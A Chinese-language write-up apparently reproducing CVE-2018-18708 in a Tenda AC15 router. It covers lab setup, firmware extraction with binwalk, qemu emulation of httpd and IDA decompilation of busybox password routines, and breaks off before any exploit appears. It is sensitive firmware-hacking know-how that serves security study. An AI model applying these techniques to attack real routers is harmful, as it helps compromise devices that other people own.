Tenda 路由器栈溢出复现(CVE-2018-18708)

1.漏洞概述

文章参考[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)-智能设备-看雪-安全社区|安全招聘|kanxue.com

cve-list中的报告

CVE - CVE-2018-18708 (mitre.org)

image-20240531195539381

2.复现环境配置

1.配置网桥

iot@research:~$ sudo apt install docker.io
[sudo] password for iot: 
E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?
iot@research:~$ sudo rm /var/lib/apt/lists/lock
iot@research:~$ iot
​
Command 'iot' not found, did you mean:
​
  command 'yot' from snap yaml-overlay-tool (0.6.4)
  command 'iyt' from deb python3-yt
  command 'jot' from deb athena-jot
  command 'hot' from deb hopenpgp-tools
  command 'dot' from deb graphviz
  command 'idt' from deb ncl-ncarg
  command 'iog' from deb iog
  command 'iat' from deb iat
​
See 'snap info <snapname>' for additional versions.
​
iot@research:~$ sudo rm /var/cache/apt/archives/lock
iot@research:~$ iot
​
Command 'iot' not found, did you mean:
​
  command 'yot' from snap yaml-overlay-tool (0.6.4)
  command 'idt' from deb ncl-ncarg
  command 'iog' from deb iog
  command 'dot' from deb graphviz
  command 'hot' from deb hopenpgp-tools
  command 'jot' from deb athena-jot
  command 'iat' from deb iat
  command 'iyt' from deb python3-yt
​
See 'snap info <snapname>' for additional versions.
​
iot@research:~$ sudo rm /var/lib/dpkg/lock*
iot@research:~$ iot
​
Command 'iot' not found, did you mean:
​
  command 'yot' from snap yaml-overlay-tool (0.6.4)
  command 'hot' from deb hopenpgp-tools
  command 'idt' from deb ncl-ncarg
  command 'iog' from deb iog
  command 'dot' from deb graphviz
  command 'jot' from deb athena-jot
  command 'iyt' from deb python3-yt
  command 'iat' from deb iat
​
See 'snap info <snapname>' for additional versions.
​
iot@research:~$ sudo rm /var/lib/dpkg/lock*
rm: cannot remove '/var/lib/dpkg/lock*': No such file or directory
iot@research:~$ sudo dpkg --configure -a
iot@research:~$ sudo apt update
Hit:1 http://mirrors.aliyun.com/ubuntu bionic InRelease
Hit:2 http://mirrors.aliyun.com/ubuntu bionic-updates InRelease                
Hit:3 http://mirrors.aliyun.com/ubuntu bionic-backports InRelease              
Hit:4 http://mirrors.aliyun.com/ubuntu bionic-security InRelease          
Get:5 https://dl.google.com/linux/chrome/deb stable InRelease [1,825 B]   
Err:5 https://dl.google.com/linux/chrome/deb stable InRelease
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2
Reading package lists... Done
Building dependency tree       
Reading state information... Done
175 packages can be upgraded. Run 'apt list --upgradable' to see them.
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://dl.google.com/linux/chrome/deb stable InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2
W: Failed to fetch https://dl.google.com/linux/chrome/deb/dists/stable/InRelease  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2
W: Some index files failed to download. They have been ignored, or old ones used instead.
iot@research:~$ sudo apt install docker.io
Reading package lists... Done
Building dependency tree       
Reading state information... Done
docker.io is already the newest version (20.10.21-0ubuntu1~18.04.3).
The following packages were automatically installed and are no longer required:
  fonts-liberation2 fonts-opensymbol gir1.2-gst-plugins-base-1.0
  gir1.2-gstreamer-1.0 gir1.2-gudev-1.0 gir1.2-udisks-2.0
  grilo-plugins-0.3-base gstreamer1.0-gtk3 libboost-date-time1.65.1
  libboost-filesystem1.65.1 libboost-iostreams1.65.1 libboost-locale1.65.1
  libcdr-0.1-1 libclucene-contribs1v5 libclucene-core1v5 libcmis-0.5-5v5
  libcolamd2 libdazzle-1.0-0 libe-book-0.1-1 libedataserverui-1.2-2 libeot0
  libepubgen-0.1-1 libetonyek-0.1-1 libexiv2-14 libfreerdp-client2-2
  libfreerdp2-2 libgc1c2 libgee-0.8-2 libgexiv2-2 libgom-1.0-0 libgpgmepp6
  libgpod-common libgpod4 liblangtag-common liblangtag1 liblirc-client0
  libmediaart-2.0-0 libmspub-0.1-1 libodfgen-0.1-1 libqqwing2v5 libraw16
  librevenge-0.0-0 libsgutils2-2 libsuitesparseconfig5 libvncclient1
  libwinpr2-2 libxapian30 libxmlsec1-nss lp-solve media-player-info
  python3-mako python3-markupsafe syslinux syslinux-common syslinux-legacy
  usb-creator-common
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 175 not upgraded.
iot@research:~$ sudo systemctl start docker
iot@research:~$ sudo apt install net-tools
Reading package lists... Done
Building dependency tree       
Reading state information... Done
net-tools is already the newest version (1.60+git20161116.90da8a0-1ubuntu1).
The following packages were automatically installed and are no longer required:
  fonts-liberation2 fonts-opensymbol gir1.2-gst-plugins-base-1.0
  gir1.2-gstreamer-1.0 gir1.2-gudev-1.0 gir1.2-udisks-2.0
  grilo-plugins-0.3-base gstreamer1.0-gtk3 libboost-date-time1.65.1
  libboost-filesystem1.65.1 libboost-iostreams1.65.1 libboost-locale1.65.1
  libcdr-0.1-1 libclucene-contribs1v5 libclucene-core1v5 libcmis-0.5-5v5
  libcolamd2 libdazzle-1.0-0 libe-book-0.1-1 libedataserverui-1.2-2 libeot0
  libepubgen-0.1-1 libetonyek-0.1-1 libexiv2-14 libfreerdp-client2-2
  libfreerdp2-2 libgc1c2 libgee-0.8-2 libgexiv2-2 libgom-1.0-0 libgpgmepp6
  libgpod-common libgpod4 liblangtag-common liblangtag1 liblirc-client0
  libmediaart-2.0-0 libmspub-0.1-1 libodfgen-0.1-1 libqqwing2v5 libraw16
  librevenge-0.0-0 libsgutils2-2 libsuitesparseconfig5 libvncclient1
  libwinpr2-2 libxapian30 libxmlsec1-nss lp-solve media-player-info
  python3-mako python3-markupsafe syslinux syslinux-common syslinux-legacy
  usb-creator-common
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 175 not upgraded.
iot@research:~$ ifconfig
br-b4e0cb0d607b: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:aa:4b:05:28  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:45:2d:ef:d8  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.159.143  netmask 255.255.255.0  broadcast 192.168.159.255
        inet6 fe80::f988:472f:cec2:9097  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a0:bd:a3  txqueuelen 1000  (Ethernet)
        RX packets 2165  bytes 2768147 (2.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 758  bytes 85725 (85.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 294  bytes 51008 (51.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 294  bytes 51008 (51.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
iot@research:~$ sudo apt-get update
Hit:1 http://mirrors.aliyun.com/ubuntu bionic InRelease
Hit:2 http://mirrors.aliyun.com/ubuntu bionic-updates InRelease                
Hit:3 http://mirrors.aliyun.com/ubuntu bionic-backports InRelease              
Hit:4 http://mirrors.aliyun.com/ubuntu bionic-security InRelease               
Get:5 https://dl.google.com/linux/chrome/deb stable InRelease [1,825 B]        
Err:5 https://dl.google.com/linux/chrome/deb stable InRelease               
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2
Reading package lists... Done
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://dl.google.com/linux/chrome/deb stable InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2
W: Failed to fetch https://dl.google.com/linux/chrome/deb/dists/stable/InRelease  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2
W: Some index files failed to download. They have been ignored, or old ones used instead.
iot@research:~$ sudo apt-get install uml-utilities bridge-utils ifupdown
Reading package lists... Done
Building dependency tree       
Reading state information... Done
bridge-utils is already the newest version (1.5-15ubuntu1).
bridge-utils set to manually installed.
uml-utilities is already the newest version (20070815.1-2build1).
ifupdown is already the newest version (0.8.17ubuntu1.1).
ifupdown set to manually installed.
The following packages were automatically installed and are no longer required:
  fonts-liberation2 fonts-opensymbol gir1.2-gst-plugins-base-1.0
  gir1.2-gstreamer-1.0 gir1.2-gudev-1.0 gir1.2-udisks-2.0
  grilo-plugins-0.3-base gstreamer1.0-gtk3 libboost-date-time1.65.1
  libboost-filesystem1.65.1 libboost-iostreams1.65.1 libboost-locale1.65.1
  libcdr-0.1-1 libclucene-contribs1v5 libclucene-core1v5 libcmis-0.5-5v5
  libcolamd2 libdazzle-1.0-0 libe-book-0.1-1 libedataserverui-1.2-2 libeot0
  libepubgen-0.1-1 libetonyek-0.1-1 libexiv2-14 libfreerdp-client2-2
  libfreerdp2-2 libgc1c2 libgee-0.8-2 libgexiv2-2 libgom-1.0-0 libgpgmepp6
  libgpod-common libgpod4 liblangtag-common liblangtag1 liblirc-client0
  libmediaart-2.0-0 libmspub-0.1-1 libodfgen-0.1-1 libqqwing2v5 libraw16
  librevenge-0.0-0 libsgutils2-2 libsuitesparseconfig5 libvncclient1
  libwinpr2-2 libxapian30 libxmlsec1-nss lp-solve media-player-info
  python3-mako python3-markupsafe syslinux syslinux-common syslinux-legacy
  usb-creator-common
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 175 not upgraded.
iot@research:~$ sudo tunctl -t tap0
Set 'tap0' persistent and owned by uid 0
iot@research:~$ sudo ifconfig tap0 up
iot@research:~$ sudo brctl addif docker0 tap0
iot@research:~$ ifconfig
br-b4e0cb0d607b: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:aa:4b:05:28  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:45:2d:ef:d8  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.159.143  netmask 255.255.255.0  broadcast 192.168.159.255
        inet6 fe80::f988:472f:cec2:9097  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a0:bd:a3  txqueuelen 1000  (Ethernet)
        RX packets 25431  bytes 37589610 (37.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1726  bytes 163260 (163.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 346  bytes 58962 (58.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 346  bytes 58962 (58.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
tap0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 5a:ed:4d:8a:c7:1c  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
​
iot@research:~$ 
​

2.拉取固件

https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip

3.binwalk和readelf分析固件

1.安装更新binwalk

sudo apt-get install binwalk

2.对固件进行提取和解压

sudo apt-g0et install binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

3.进入提取的文件目录中

cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/

4.进入到提取的 SquashFS 文件系统的根目录

cd squashfs-root/

5.解释一下SquashFS文件系统在嵌入式中特殊意义

嵌入式系统通常运行在资源受限的环境中,所以需要高效的存储利用和只读特性

优势

  1. 高压缩比

    • 嵌入式设备通常具有有限的存储空间

      SquashFS通过高效的压缩算法(如gzip、LZMA、XZ等)

  2. 只读文件系统

    • 许多嵌入式系统要求文件系统稳定且不可修改SquashFS的只读特性确保了系统文件和应用程序在部署后不会被意外或恶意修改,

  3. 快速启动

    • 压缩的文件系统可以加速嵌入式设备的启动过程,因为较小的镜像文件在加载时需要更少的I/O操作尤其是在启动时需要加载大量数据的情况下,减少启动时间

  4. 一致性和完整性

    • SquashFS在生成镜像时会创建一个一致的快照,确保在设备运行过程中所使用的文件系统始终保持一致

应用

  1. 固件分发和升级

    • 在嵌入式设备中,固件通常以SquashFS镜像的形式分发。固件升级时,可以通过替换旧的SquashFS镜像来实现

  2. 只读根文件系统

    • 许多嵌入式设备将其根文件系统构建为SquashFS,以确保系统核心部分不会被修改

  3. Live系统和恢复系统

    • 嵌入式系统中的Live系统或恢复系统(如启动时的故障恢复模式)可以使用SquashFS来减少存储需求并确保系统的一致性

  4. 嵌入式Linux发行版

    • 许多嵌入式Linux发行版(如OpenWrt、Yocto等)使用SquashFS作为默认的文件系统,以提供高效的存储和可靠的系统性能

示例

创建SquashFS镜像

首先,准备要打包的文件系统目录,例如/rootfs,然后使用mksquashfs工具创建SquashFS镜像:

mksquashfs /rootfs /rootfs.img
将镜像烧录到嵌入式设备

将生成的/rootfs.img烧录到嵌入式设备的存储中,例如,通过TFTP或其他方法将其传输到设备上。

挂载SquashFS镜像

在设备启动时,通过启动脚本挂载SquashFS镜像:

mount -t squashfs -o loop /path/to/rootfs.img /mnt/rootfs

6.使用readelf查看文件结构

readelf -h bin/busybox

readelf 工具查看名为 busybox 的可执行文件的 ELF 文件头信息

readelf 是一个分析 ELF (Executable and Linkable Format) 格式文件的工具

-h 参数表示仅显示 ELF 文件的头部信息

image-20240525152929504

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0xbf80
  Start of program headers:          52 (bytes into file)
  Start of section headers:          380400 (bytes into file)
  Flags:                             0x5000002, Version5 EABI, <unknown>
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         7
  Size of section headers:           40 (bytes)
  Number of section headers:         24
​

ELF Header 解析

详细解读:
  1. Magic:

    • 7f 45 4c 46: ELF 魔数,用于标识文件为 ELF 格式

    • 之后的字节:确定 ELF 的类型和格式。

  2. Class: ELF32

    • 文件是 32 位格式(ELF32)

  3. Data: 2's complement, little endian

    • 数据编码方式是小端(Little Endian),使用二进制补码表示法。

  4. Version: 1 (current)

    • ELF 头部版本是当前版本(1)

  5. OS/ABI: UNIX - System V

    • 文件针对 UNIX System V ABI

  6. ABI Version: 0

    • ABI 版本为 0

  7. Type: EXEC (Executable file)

    • 文件类型是可执行文件(EXEC)

  8. Machine: ARM

    • 文件针对 ARM 处理器架构

  9. Version: 0x1

    • 这个字段的值是 1,通常表示 ELF 头部的版本

  10. Entry point address: 0xbf80

    • 可执行文件的入口点地址是 0xbf80

  11. Start of program headers: 52 (bytes into file)

    • 程序头表的起始位置是 52 字节处

  12. Start of section headers: 380400 (bytes into file)

    • 节头表的起始位置是 380400 字节处

  13. Flags: 0x5000002, Version5 EABI, <unknown>

    • 标志字段值是 0x5000002,其中包含 ARM EABI Version5

    • 其中可能有一个未知标志

  14. Size of this header: 52 (bytes)

    • ELF 头部的大小是 52 字节

  15. Size of program headers: 32 (bytes)

    • 每个程序头的大小是 32 字节

  16. Number of program headers: 7

    • 总共有 7 个程序头

  17. Size of section headers: 40 (bytes)

    • 每个节头的大小是 40 字节

  18. Number of section headers: 24

    • 总共有 24 个节头

总结:

32 位的小端序 ARM 可执行文件,采用ida反编译

4.运行漏洞文件

注意

这个时候要注意命令执行文件夹位置,一定要在前面提取出来的地方运行程序

cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/

2.安装模拟环境的配置文件

下载虚拟化套件

sudo apt install qemu-user-static

复制到当前目录下

cp $(which qemu-arm-static) ./

3.虚拟环境中运行

sudo chroot ./ ./qemu-arm-static ./bin/httpd

解释一下这里运行的指令:

1.启动一个chroot环境

chroot ./: 这个命令改变了新进程的根目录为当前目录 (./)

新的根目录下的文件和目录会对于chroot环境中的程序来说,就如同是在一个全新的系统中

2.运行arm架构的解释器

./qemu-arm-static,传递给chroot环境运行的第一个程序

3.传给 qemu-arm-static 的参数

即是运行了 httpd 程序

运行效果:

iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd
chroot: failed to run command ‘./qemu-arm-static’: No such file or directory
iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ cp $(which qemu-arm-static) ./
iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd
init_core_dump 1816: rlim_cur = 0, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
​
​
Yes:
​
      ****** WeLoveLinux****** 
​
 Welcome to ...
    
​

image-20240527194052092

但是这里我们的程序进入后就没法运行了,要进入ida分析一下问题

4.报错处理

网上看到了这个报错

image-20240527193820587

表示不存在/proc/sys/kernel/core_pattern这样一个文件夹

接直接再创建一个这样的文件就行了

mkdir -p ./proc/sys/kernel

5.ida分析主要busybox文件

(这个不是漏洞文件,只是分析一下固件的一些逻辑)

1.找到文件

地址:

/home/iot/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root/bin

(busybox运行iot固件的关键逻辑)

image-20240527194759229

2.主要函数分析

1.符号表几乎没有

使用finger恢复没什么用,算了影响不大(就是想试试,八成是没啥用的)

image-20240527195610392

2.密码登录函数

int __fastcall sub_512D4(_BYTE *a1, const char *a2, _DWORD *a3)
{
  size_t v6; // r8
  _BYTE *v7; // r1
  void *v8; // r7
  int v9; // r5
  size_t i; // r7
  int v11; // r10
  const char *v12; // r0
  int v13; // r9
  char *v14; // r0
  char *v15; // r3
  int v16; // r7
  unsigned int v17; // r3
  int v18; // r2
  bool v19; // zf
  const char *v21; // r1
​
  if ( a2 && (v6 = strlen(a2), v6 > 5) )
  {
    if ( sub_5125C(a2, *a3) )
    {
      v21 = "similar to username";
    }
    else
    {
      v7 = (_BYTE *)a3[4];
      if ( *v7 && sub_5125C(a2, v7) )
      {
        v21 = "similar to gecos";
      }
      else
      {
        v8 = (void *)sub_53750();
        v9 = sub_5125C(a2, v8);
        free(v8);
        if ( v9 )
        {
          v21 = "similar to hostname";
        }
        else
        {
          for ( i = 0; i < v6; ++i )
          {
            v11 = (unsigned __int8)a2[i];
            if ( (unsigned __int8)(v11 - 97) > 0x19u )
            {
              if ( (unsigned __int8)(v11 - 65) > 0x19u )
              {
                if ( (unsigned __int8)(v11 - 48) > 9u )
                  v9 |= 8u;
                else
                  v9 |= 4u;
              }
              else
              {
                v9 |= 2u;
              }
            }
            else
            {
              v9 |= 1u;
            }
            v12 = a2;
            v13 = 0;
            do
            {
              v14 = strchr(v12, v11);
              v15 = v14;
              if ( !v14 )
                break;
              v12 = v14 + 1;
              ++v13;
            }
            while ( v15[1] );
            if ( v6 <= 2 * v13 )
            {
              v21 = "too many similar characters";
              goto LABEL_38;
            }
          }
          v16 = 4;
          v17 = 14;
          v18 = 1;
          do
          {
            v19 = (v18 & v9) == 0;
            v18 *= 2;
            if ( !v19 )
              v17 -= 2;
            --v16;
          }
          while ( v16 );
          if ( v6 < v17 )
          {
            v21 = "too weak";
          }
          else
          {
            if ( !a1 )
              return 0;
            if ( !*a1 || !sub_5125C(a2, a1) )
              return 0;
            v21 = "similar to old password";
          }
        }
      }
    }
  }
  else
  {
    v21 = "too short";
  }
LABEL_38:
  printf("Bad password: %s\n", v21);
  return 1;
}

image-20240527200203791

1.分析密码的识别逻辑
int __fastcall sub_5125C(const char *a1, int a2)
{
  int v4; // r5
  _BYTE *v5; // r4
  size_t v6; // r0
  size_t v7; // r7
  size_t i; // r3
  _BYTE *v9; // r4
  int v10; // r6
​
  v4 = ((int (*)(void))sub_5121C)();
  v5 = (_BYTE *)sub_D664(a1);                   // 备份输入的字符串,防止在登陆的时候被篡改
  v6 = strlen(a1);
  v7 = v6;
  for ( i = v6; (--i & 0x80000000) == 0; *v5++ = a1[i] )
    ;
  v9 = &v5[-v6];
  v10 = sub_5121C(v9, a2);                      // 验证密码输入是否正确,这里还忽略的大小写的检查
  memset(v9, 0, v7);
  free(v9);                                     // 释放缓存
  return v10 | v4;
}

image-20240527204733918

char *__fastcall sub_D664(const char *a1)
{
  char *result; // r0
​
  if ( !a1 )
    return 0;
  result = strdup(a1);
  if ( !result )
    sub_D03C("out of memory");                  // 错误处理函数
  return result;
}

image-20240527201223314

void __noreturn sub_D03C(int a1, ...)
{
  int v1; // r0
  va_list varg_r1; // [sp+14h] [bp-Ch] BYREF
​
  va_start(varg_r1, a1);                        // 这里再格式化输入,可能是输入错误后格式化传入的密码数据
  v1 = sub_CE78(a1, varg_r1);
  sub_D118(v1);                                //结束进程
}

image-20240527204656345

2.同时识别主机的名字,没识别到就设置为"?"
int sub_53750()
{
  char *nodename; // r0
  struct utsname v2; // [sp+0h] [bp-190h] BYREF
​
  uname(&v2);
  if ( v2.nodename[0] )
    nodename = v2.nodename;
  else
    nodename = (char *)"?";
  return sub_D690(nodename, 65);
}
void *__fastcall sub_D690(unsigned __int8 *a1, int a2)
{
  unsigned __int8 *v2; // r2
  int i; // r3
  size_t v6; // r4
  _BYTE *v7; // r0
​
  v2 = a1;
  for ( i = a2; i; --i )
  {
    if ( !*v2++ )
      break;
  }
  v6 = a2 - i;
  v7 = (_BYTE *)sub_D5E0(a2 - i + 1);
  v7[v6] = 0;
  return memcpy(v7, a1, v6);
}
3.整体就是一些输入的安全性判定

没什么意思,但是整理一下:

  1. 密码长度检查

    if ( a2 && (v6 = strlen(a2), v6 > 5) )

    检查密码长度是否大于 5 个字符

  2. 密码与用户名相似性检查

    if ( sub_5125C(a2, *a3) )
    {
        v21 = "similar to username";
    }

    使用 sub_5125C 函数检查密码是否与用户名相似

  3. 密码与 gecos 字段相似性检查

    if ( *v7 && sub_5125C(a2, (int)v7) )
    {
        v21 = "similar to gecos";
    }

    使用 sub_5125C 函数检查密码是否与 gecos 字段(一般存储用户的个人信息)相似

  4. 密码与主机名相似性检查

    v8 = (void *)sub_53750();
    v9 = sub_5125C(a2, (int)v8);
    free(v8);
    if ( v9 )
    {
        v21 = "similar to hostname";
    }

    使用 sub_5125C 函数检查密码是否与主机名相似

  5. 密码字符组成检查

    for ( i = 0; i < v6; ++i )
    {
        v11 = (unsigned __int8)a2[i];
        if ( (unsigned __int8)(v11 - 97) > 0x19u )
        {
            if ( (unsigned __int8)(v11 - 65) > 0x19u )
            {
                if ( (unsigned __int8)(v11 - 48) > 9u )
                    v9 |= 8u;
                else
                    v9 |= 4u;
            }
            else
            {
                v9 |= 2u;
            }
        }
        else
        {
            v9 |= 1u;
        }
    }

    通过遍历密码中的每个字符,检查密码是否包含小写字母、大写字母和数字,并将结果存储在 v9

  6. 相似字符检查

    do
    {
        v14 = strchr(v12, v11);
        v15 = v14;
        if ( !v14 )
            break;
        v12 = v14 + 1;
        ++v13;
    }
    while ( v15[1] );
    if ( v6 <= 2 * v13 )
    {
        v21 = "too many similar characters";
        goto LABEL_38;
    }

    检查密码中是否有过多的重复字符

  7. 密码强度检查

    v16 = 4;
    v17 = 14;
    v18 = 1;
    do
    {
        v19 = (v18 & v9) == 0;
        v18 *= 2;
        if ( !v19 )
            v17 -= 2;
        --v16;
    }
    while ( v16 );
    if ( v6 < v17 )
    {
        v21 = "too weak";
    }

    根据 v9 的值计算密码的强度,并检查密码是否足够强

  8. 与旧密码相似性检查

    if ( !*a1 || !sub_5125C(a2, (int)a1) )
        return 0;
    v21 = "similar to old password";

    使用 sub_5125C 函数检查密码是否与旧密码相似

3.修改密码的逻辑

image-20240527203459989

// 开始函数
int __fastcall sub_F468(int a1, int a2)
{
  // 初始化一些变量
  char v3; // r6
  int v4; // r7
  __uid_t v5; // r0
  const char *v6; // r5
  __uid_t v7; // r10
​
  // 获取系统信息
  openlog((const char *)dword_6DECC, 0, 32);
​
  // 解析命令行参数
  v3 = sub_4D454(a2, "a:lud", &v30);
​
  // 取得进程的用户ID
  v5 = getuid();
  v7 = v5;
​
  // 如果当前用户是 root 或者 用户没有添加参数,执行 sub_C3F8 函数
  if ( (v3 & 0xE) != 0 && (v5 || !*(_DWORD *)(a2 + 4 * v4)) )
    sub_C3F8();
​
  // ...
  // 执行了一系列操作,包括检查和更改用户密码
  // ...
​
  //  如果成功更改了密码
  if ( v22 )
  {
    // 设置资源使用限制
    setrlimit64(1, v29);
​
    // 更改信号处理方式
    sub_5397C(14, (__sighandler_t)1);
​
    // 设置文件权限创建掩码
    umask(0x3Fu);
​
    // 清除屏幕
    sub_DA3C(0);
​
    // 更新 /etc/passwd 文件
    if ( sub_54298("/etc/passwd", v10, v22) < 0 )
      sub_D03C((int)"can't update password file %s", "/etc/passwd");
​
    // 记录更改密码的操作
    sub_4E414("Password for %s changed by %s", v10, v11);
  }
  else if ( (v3 & 2) != 0 )
  {
    if ( *v14 == 33 )
      goto LABEL_48;
    sub_D03C((int)"password for %s is already %slocked", v10);
  }
  
  // 如果没有更改密码,打印提示消息
  else
    sub_D03C((int)"password for %s is not changed", v10);
​
  return 0;
}

4.系统维护的root密码验证

int __fastcall sub_F804(int a1, int a2, int a3)
{
  // 声明一些局部变量
  int v4; // r6
  int v5; // r0
  struct passwd *v6; // r4
  char *v7; // r0
  char *v8; // r5
  char *v10; // r6
  int v11; // r7
  size_t v12; // r0
  char *pw_shell; // r0
  int v14[7]; // [sp+4h] [bp-1Ch] BYREF
​
  // 一系列初始化操作
  v14[1] = a3;
  dword_6CCF8 = 3;
  v14[0] = 0;
  
  // 获取系统信息
  openlog((const char *)dword_6DECC, 0, 32);
 
  // 解析环境变量
  dword_6DEF4 = (int)"t+";
  sub_4D454(a2, "t:", v14);
  
  v4 = optind;
  if ( *(_DWORD *)(a2 + 4 * optind) )
  {
    // 关闭文件描述符 0,1
    close(0);
    close(1);
    
    // 从文件中读取数据
    v5 = sub_D728(*(_DWORD *)(a2 + 4 * v4), 2);
    
    // 创建复制文件描述符
    dup(v5);
    // 关闭文件描述符2
    close(2);
    // 创建一个新的文件描述符,复制已存在的文件描述符
    dup(0);
  }
  
  if ( !isatty(0) || !isatty(1) || !isatty(2) )
  {
    // 如果任一文件描述符(0、1、2)不是终端设备,则显示错误信息
    dword_6CCF8 = 2;
    sub_D03C((int)"not a tty");
  }
 
  sub_50BA4();
  // 获取root用户的信息
  v6 = getpwuid(0);
  
  if ( !v6 )
    // 如果没有找到root用户,显示错误信息
    sub_D03C((int)"no password entry for root");
    
  while ( 1 )
  {
    // 询问输入root用户的密码,接收输入的密码
    v7 = (char *)sub_4BFDC(
                   0,
                   v14[0],
                   "Give root password for system maintenance\n(or type Control-D for normal startup):");
    v8 = v7;
   
    if ( !v7 || !*v7 )
      break;
      
    // 验证输入的密码是否正确
    v10 = (char *)sub_52C4C(v7, v6->pw_passwd);
    v11 = strcmp(v10, v6->pw_passwd);
    // 释放动态分配的内存
    free(v10);
    
    if ( !v11 )
    {
      v12 = strlen(v8);
      // 清空输入的密码字符串
      memset(v8, 0, v12);
      // 如果密码正确,记录系统维护模式
      sub_4E414("System Maintenance Mode");
      
      // 获取环境变量 SUSHELL 或者 sushell 的值,如果这两个都没有定义,就使用 root 的默认 shell
      pw_shell = getenv("SUSHELL");
      if ( !pw_shell )
      {
        pw_shell = getenv("sushell");
        if ( !pw_shell )
          pw_shell = v6->pw_shell;
      }
      
      // 启动一个新进程运行 shell
      sub_53658(pw_shell, 1, 0, 0);
    }
    else
    {
      // 如果密码错误,等待3秒后再次提示输入密码
      sub_4C188(3);
